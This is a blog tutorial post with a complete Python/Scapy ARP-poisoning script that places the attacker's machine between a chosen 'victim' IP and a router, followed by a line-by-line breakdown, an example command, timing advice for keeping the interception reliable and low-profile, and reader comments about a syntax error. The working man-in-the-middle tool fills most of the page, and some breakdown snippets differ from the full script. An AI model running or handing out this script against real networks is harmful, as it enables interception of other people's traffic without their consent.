ARP poisoning with Python

#!/usr/bin/python
from scapy.all import *
import argparse
import signal
import sys
import logging
import time
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-v", "--victimIP", help="Choose the victim IP address. Example: -v 192.168.0.5")
    parser.add_argument("-r", "--routerIP", help="Choose the router IP address. Example: -r 192.168.0.1")
    return parser.parse_args()
def originalMAC(ip):
    ans,unans = srp(ARP(pdst=ip), timeout=5, retry=3)
    for s,r in ans:
        return r[Ether].src
def poison(routerIP, victimIP, routerMAC, victimMAC):
    send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
    send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
def restore(routerIP, victimIP, routerMAC, victimMAC):
    send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
    send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
    sys.exit("losing...")
def main(args):
    if os.geteuid() != 0:
        sys.exit("[!] Please run as root")
    routerIP = args.routerIP
    victimIP = args.victimIP
    routerMAC = originalMAC(args.routerIP)
    victimMAC = originalMAC(args.victimIP)
    if routerMAC == None:
        sys.exit("Could not find router MAC address. Closing....")
    if victimMAC == None:
        sys.exit("Could not find victim MAC address. Closing....")
    with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf:
        ipf.write('1\n')
    def signal_handler(signal, frame):
        with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf:
            ipf.write('0\n')
        restore(routerIP, victimIP, routerMAC, victimMAC)
    signal.signal(signal.SIGINT, signal_handler)
    while 1:
        poison(routerIP, victimIP, routerMAC, victimMAC)
        time.sleep(1.5)
main(parse_args())

Example usage:

python arpspoof.py -v 192.168.0.5 -r 192.168.0.1

Script breakdown:
Most of this core code can be found at http://www.blackhatlibrary.net/Python#Scapy

from scapy.all import *
import argparse
import signal
import sys
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

If you don’t add the logging.getLogger… part then every time you run the script you’ll get an ignorable warning from scapy, “WARNING: No route found for IPv6 destination :: (no default route?)” Note that we are not being super efficient here, we’re just importing whole libraries. If you wanted to streamline this you’d do stuff like,

from sys import exit

and instead of calling it with “sys.exit()”, you’d just call “exit()”
—————————————————–

def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-v", "--victimIP", help="Choose the victim IP address. Example: -v 192.168.0.5")
    parser.add_argument("-r", "--routerIP", help="Choose the router IP address. Example: -r 192.168.0.1")
    return parser.parse_args()

Create arguments for the script. Call the argument values with parser.parse_args().victimIP or parser.parse_args().routerIP. If you wanted to have arguments that only stored themselves as True or False, then you’d add an argument like so: parser.add_argument(“…”, action=”store_true”) so now you could check if the user called that argument with something like:

if parser.parse_args().victimIP:
    print "User gave the victimIP argument flag when running the script"
else:
    print "User did not give the victimIP argument flag when running the script"

—————————————————–

def originalMAC(ip):
    ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
    for s,r in ans:
        return r.sprintf("%Ether.src%")

This function automatically gathers the MAC addresses from local network machines when only given their IPs. In the second line of this snippet we send a crafted ARP packet to an IP address. ARP packets can either be requests (who-has) or replies (is-at) which correspond to the values 1 and 2 respectively. Default value is 1 (who-has) so this function just sends a packet to the IP asking what their MAC address is and then reads the response “for s,r in ans:” part; s stands for send, r stands for receive, and ans stand for answer. You can change the type of ARP packet if you created that layer like:

ARP(op=2) or alternatively ARP(op="is-at")

—————————————————–

def poison(routerIP, victimIP, routerMAC, victimMAC):
    send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
    send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))

Sends spoofed packets to the router and victim. The first send() is an ARP packet whose MAC source address will be the attacking machine’s since we didn’t specify a hwsrc value. It is telling the packet destination IP (packet destination = victimIP) that the router’s MAC address (packet source = routerIP) is at (op=2) the attacker’s MAC address (since we didn’t specify a hwsrc value and the packet is being crafted and sent from the attacker’s machine). The second send() is the same thing in reverse so now the router will send all packets destined for the victim to the attacker, and the vicitim will send all packets destined for the router to the attacker.
—————————————————–

def restore(routerIP, victimIP, routerMAC, victimMAC):
    send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
    send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
    sys.exit("losing...")

Since we want to keep a low profile and not break the network when we exit the script we will create a restoration function which reverses what we did with the poison() function. Basically we’re just sending packets to the victim and router updating their ARP tables to store accurate information about which IP address is linked to which MAC address. count=3 means we’ll send the packet 3 times. Last we print “^Closing…” to the terminal. When you hit Ctrl-C it automatically adds a “^C” to the terminal output so we’re just using that “^C” and adding a “losing…” so it looks a little cleaner.
—————————————————–

if os.geteuid() != 0:
    sys.exit("[!] Please run as root")

A quick check to see if the user is running as root.
—————————————————–

routerIP = args.routerIP
victimIP = args.victimIP
routerMAC = originalMAC(args.routerIP)
victimMAC = originalMAC(args.victimIP)
if routerMAC == None:
    sys.exit("Could not find router MAC address. Closing....")
if victimMAC == None:
    sys.exit("Could not find victim MAC address. Closing....")

Run the IPs given as arguments through the originalMAC() function which will ask those IP addresses for their MACs. It will retry 3 times due to the retry=3 argument within the send() function. If one or the other do not respond with a “is-at” ARP packet then we cannot continue.
—————————————————–

with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf:
    ipf.write('1\n')

We have to enable IP forwarding on the attacking machine or it won’t forward the packets from the victim to the router and the router to the victim so we just write 1 for true in the config file.
—————————————————–

def signal_handler(signal, frame, ipf):
    with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf:
        ipf.write('0\n')
    restore(routerIP, victimIP, routerMAC, victimMAC)
signal.signal(signal.SIGINT, signal_handler)

This is a function that will only work when placed inside the main function. It’s purpose is to catch Ctrl-C’s and then perform an action upon recieving it. You’ll find many examples of code that just use:

try:
   main()
except KeyboardInterrupt:
   do_something()

But I found that this was not sufficient for catching most, if any, Ctrl-C’s. Using signal handler to grab the Ctrl-C signal is much, much more effective. See http://stackoverflow.com/questions/1112343/how-do-i-capture-sigint-in-python for a more technical explanation of why. Once the signal is caught we turn off IP forwarding we restore first the router’s ARP table then the victim’s.
—————————————————–

while 1:
    poison(routerIP, victimIP, routerMAC, victimMAC)
    time.sleep(1.5)

Script enters an infinite loop where it sends 2 spoofed packets every 1.5 seconds; one to the victim and one to the router. I have experimented with various timings starting with 3 seconds but that would occasionally end up being too slow and the router or victim’s ARP table would update for a little bit with accurate values. Lowered it to 2 seconds and still saw a rare mix up where accurate values would be stored temporarily leading to packets going to their accurate destinations rather than through the attacker’s machine. 1.5 seconds has not given me any trouble on all the different networks I’ve tested it on.
—————————————————–

Example usage:

python arpspoof.py -v 192.168.0.5 -r 192.168.0.1

In order to run this script you’ll need to copy it into a text file locally, then give it two the two arguments it desires; victim IP and router IP. Make sure you run as root. As it stands scapy’s conf.verb variable is set to 1 which means it’ll output all the things that it’s doing so every time it sends a spoofed packet it’ll output that to the terminal. To remove this just set conf.verb=0 at the beginning of the script like perhaps after the logging.getLogger() part.

flattr this!

Tagged with: , , , ,
Posted in Python
3 comments on “ARP poisoning with Python
  1. Joey says:

    I’m having trouble getting this to run. Here’s the error I’m getting:

    File “arpspoof.py”, line 39
    with ipf as open(‘/proc/sys/net/ipv4/ip_forward’, ‘w’):
    SyntaxError: can’t assign to function call

    Could you help me out?

    • enigma says:

      I think this gentlemen broke his code intentionally to prevent script kiddies to harass their poor neighbors. However, if you would merely study that article the correction should be trivial.
      Thanks for an informative and entertaining read Dan…I love that you love python :-)
      Kind regards.

  2. Unfortunately I did not break it intentionally, I just made a mistake :/ fixed it though.

Leave a Reply

Your email address will not be published. Required fields are marked *

*


8 × two =

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>